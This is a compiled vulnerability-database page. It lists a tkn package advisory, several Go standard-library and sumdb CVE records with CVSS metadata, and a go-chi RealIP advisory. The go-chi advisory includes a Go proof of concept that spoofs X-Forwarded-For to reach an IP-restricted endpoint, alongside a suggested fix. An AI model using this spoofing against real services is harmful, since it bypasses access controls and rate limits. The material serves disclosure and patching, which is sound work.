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Vulnerability from cleanstart
Package tkn version 0.45.0-r1 fixes 42 vulnerabilities: CVE-2026-33818, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859, CVE-2026-56860...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "tkn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.45.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.45.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package tkn version 0.45.0-r1 fixes 42 vulnerabilities: CVE-2026-33818, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859, CVE-2026-56860...",
"id": "CLEANSTART-2026-GO78201",
"modified": "2026-09-02T06:39:54Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/cli"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in tkn 0.45.0-r1",
"upstream": [
"CVE-2026-33818",
"CVE-2026-56853",
"CVE-2026-56858",
"CVE-2026-56859",
"CVE-2026-56860",
"CVE-2026-56862",
"CVE-2026-34040",
"CVE-2026-33997",
"ghsa-gcjh-h69q-9w9g",
"CVE-2026-48702",
"CVE-2026-49834",
"CVE-2026-54787",
"CVE-2026-49835",
"CVE-2026-39828",
"CVE-2026-39829",
"CVE-2026-39830",
"CVE-2026-39831",
"CVE-2026-39832",
"CVE-2026-39835",
"CVE-2026-42508",
"CVE-2026-46595",
"CVE-2026-46597",
"CVE-2026-39827",
"CVE-2026-39833",
"CVE-2026-39834",
"CVE-2026-46598",
"CVE-2026-25681",
"CVE-2026-27136",
"CVE-2026-39821",
"CVE-2026-46600",
"CVE-2026-25680",
"CVE-2026-42502",
"CVE-2026-42506",
"CVE-2026-56852",
"ghsa-hrxh-6v49-42gf",
"CVE-2026-56864",
"CVE-2026-56865",
"ghsa-259r-337f-4rfw",
"ghsa-3fxj-6jh8-hvhx",
"ghsa-9g5q-2w5x-hmxf",
"ghsa-rjr7-jggh-pgcp",
"CVE-2026-41178"
]
}
CVE-2026-56858 (GCVE-0-2026-56858)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:32- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | html/template |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
{
"containers": {
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"metrics": [
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"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
},
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"timestamp": "2026-08-14T15:31:30.140536Z",
"version": "2.0.3"
},
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],
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"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:32:29.852Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "html/template",
"product": "html/template",
"programRoutines": [
{
"name": "tJS"
},
{
"name": "Template.Execute"
},
{
"name": "Template.ExecuteTemplate"
}
],
"vendor": "Go standard library",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
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},
{
"lessThan": "1.27.0-rc.3",
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],
"credits": [
{
"lang": "en",
"value": "Ali Sherif"
}
],
"descriptions": [
{
"lang": "en",
"value": "Previously, pathological inputs could close an unescaped \u0027/\u0027 early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS."
}
],
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{
"descriptions": [
{
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
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}
]
}
],
"providerMetadata": {
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"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80435"
},
{
"url": "https://go.dev/cl/807100"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6091"
}
],
"title": "Fix Javascript regexp context tracking in html/template"
}
},
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"assignerShortName": "Go",
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"dateReserved": "2026-06-23T15:10:49.353Z",
"dateUpdated": "2026-08-14T15:32:29.852Z",
"state": "PUBLISHED"
},
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"dataVersion": "5.2"
}
CVE-2026-56859 (GCVE-0-2026-56859)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:21- CWE-770 - Allocation of Resources Without Limits or Throttling
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | encoding/xml |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
{
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
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],
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}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:21:46.218Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "encoding/xml",
"product": "encoding/xml",
"programRoutines": [
{
"name": "Decoder.push"
},
{
"name": "Decoder.pop"
},
{
"name": "Decoder.RawToken"
},
{
"name": "Decoder.unmarshalPath"
},
{
"name": "Decoder.unmarshal"
},
{
"name": "Decoder.Decode"
},
{
"name": "Decoder.DecodeElement"
},
{
"name": "Decoder.Skip"
},
{
"name": "Decoder.Token"
},
{
"name": "Unmarshal"
}
],
"vendor": "Go standard library",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:52.959Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80481"
},
{
"url": "https://go.dev/cl/803320"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6088"
}
],
"title": "Add recursion depth guard during decode in encoding/xml"
}
},
"cveMetadata": {
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"assignerShortName": "Go",
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},
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}
CVE-2026-56860 (GCVE-0-2026-56860)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:14- CWE-407 - Inefficient Algorithmic Complexity
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | net/url |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
{
"containers": {
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{
"metrics": [
{
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"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
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},
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}
],
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"timestamp": "2026-08-14T16:14:34.601382Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
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{
"cweId": "CWE-407",
"description": "CWE-407 Inefficient Algorithmic Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T16:14:39.166Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "net/url",
"product": "net/url",
"programRoutines": [
{
"name": "resolvePath"
},
{
"name": "URL.Parse"
},
{
"name": "URL.ResolveReference"
}
],
"vendor": "Go standard library",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Previously, resolving relative paths containing parent directory (\u0027..\u0027) segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for \u0027..\u0027 segments, eliminating the quadratic time complexity and significantly reducing memory allocations."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-407: Inefficient Algorithmic Complexity",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.731Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
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},
{
"url": "https://go.dev/issue/80494"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6218"
}
],
"title": "Avoid quadratic complexity in resolvePath in net/url"
}
},
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"assignerShortName": "Go",
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CVE-2026-56862 (GCVE-0-2026-56862)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:29- CWE-770 - Allocation of Resources Without Limits or Throttling
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | crypto/tls |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
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}
],
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"timestamp": "2026-08-14T15:27:34.651997Z",
"version": "2.0.3"
},
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}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:29:41.741Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "crypto/tls",
"product": "crypto/tls",
"programRoutines": [
{
"name": "Conn.readRecordOrCCS"
},
{
"name": "Conn.Handshake"
},
{
"name": "Conn.HandshakeContext"
},
{
"name": "Conn.Read"
},
{
"name": "Conn.Write"
},
{
"name": "Dial"
},
{
"name": "DialWithDialer"
},
{
"name": "Dialer.Dial"
},
{
"name": "Dialer.DialContext"
},
{
"name": "QUICConn.HandleData"
},
{
"name": "QUICConn.Start"
}
],
"vendor": "Go standard library",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
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"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Qi Deng of Aurascape.ai"
}
],
"descriptions": [
{
"lang": "en",
"value": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.216Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
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{
"url": "https://go.dev/issue/80528"
},
{
"url": "https://go.dev/cl/804261"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6090"
}
],
"title": "Limit handshake messages we are willing to accept post-handshake in crypto/tls"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56862",
"datePublished": "2026-08-13T21:58:53.216Z",
"dateReserved": "2026-06-23T15:10:49.353Z",
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},
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CVE-2026-56864 (GCVE-0-2026-56864)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:16- CWE-347 - Improper Verification of Cryptographic Signature
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb |
Affected:
0 , < 0.40.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56864",
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{
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},
{
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},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T16:16:37.911009Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347 Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T16:16:42.248Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "cmd/go",
"product": "cmd/go",
"vendor": "Go toolchain",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb",
"product": "golang.org/x/mod/sumdb",
"programRoutines": [
{
"name": "Client.Lookup"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "mundur"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.605Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80745"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://go.dev/cl/815000"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6180"
}
],
"title": "Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56864",
"datePublished": "2026-08-13T21:58:53.605Z",
"dateReserved": "2026-06-23T15:10:49.354Z",
"dateUpdated": "2026-08-14T16:16:42.248Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-56865 (GCVE-0-2026-56865)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:34- CWE-347 - Improper Verification of Cryptographic Signature
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb/tlog |
Affected:
0 , < 0.40.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56865",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T15:33:28.143873Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347 Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:34:17.235Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "cmd/go",
"product": "cmd/go",
"vendor": "Go toolchain",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb/tlog",
"product": "golang.org/x/mod/sumdb/tlog",
"programRoutines": [
{
"name": "tileHashReader.ReadHashes"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Filippo Valsorda (Geomys)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.475Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80744"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://go.dev/cl/814960"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6179"
}
],
"title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56865",
"datePublished": "2026-08-13T21:58:53.475Z",
"dateReserved": "2026-06-23T15:10:49.354Z",
"dateUpdated": "2026-08-14T15:34:17.235Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-3FXJ-6JH8-HVHX
Vulnerability from github – Published: 2026-06-25 18:21 – Updated: 2026-06-25 18:21Summary
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
Details
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
Proof of Concept (PoC)
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
// Attacker claims to be '1.2.3.4'
req2, _ := http.NewRequest("GET", "/admin/secret", nil)
req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}
Impact
An attacker can masquerade as any IP address. This can lead to:
- Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
- Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
- Log Forgery: Causing incorrect IP addresses to be recorded in security logs.
CWE
- CWE-290: Authentication Bypass by Spoofing
- CWE-345: Insufficient Verification of Data Authenticity
CVSS Score
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)
Affected Versions
github.com/go-chi/chi/v5<=v5.2.1(and all previous versions)
Recommendation
- Stop using
middleware.RealIPif you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. - Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
- Use the
X-Forwarded-Forheader by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.
Suggested Fix
A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.1"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:21:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client\u0027s IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be \u00271.2.3.4\u0027\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- 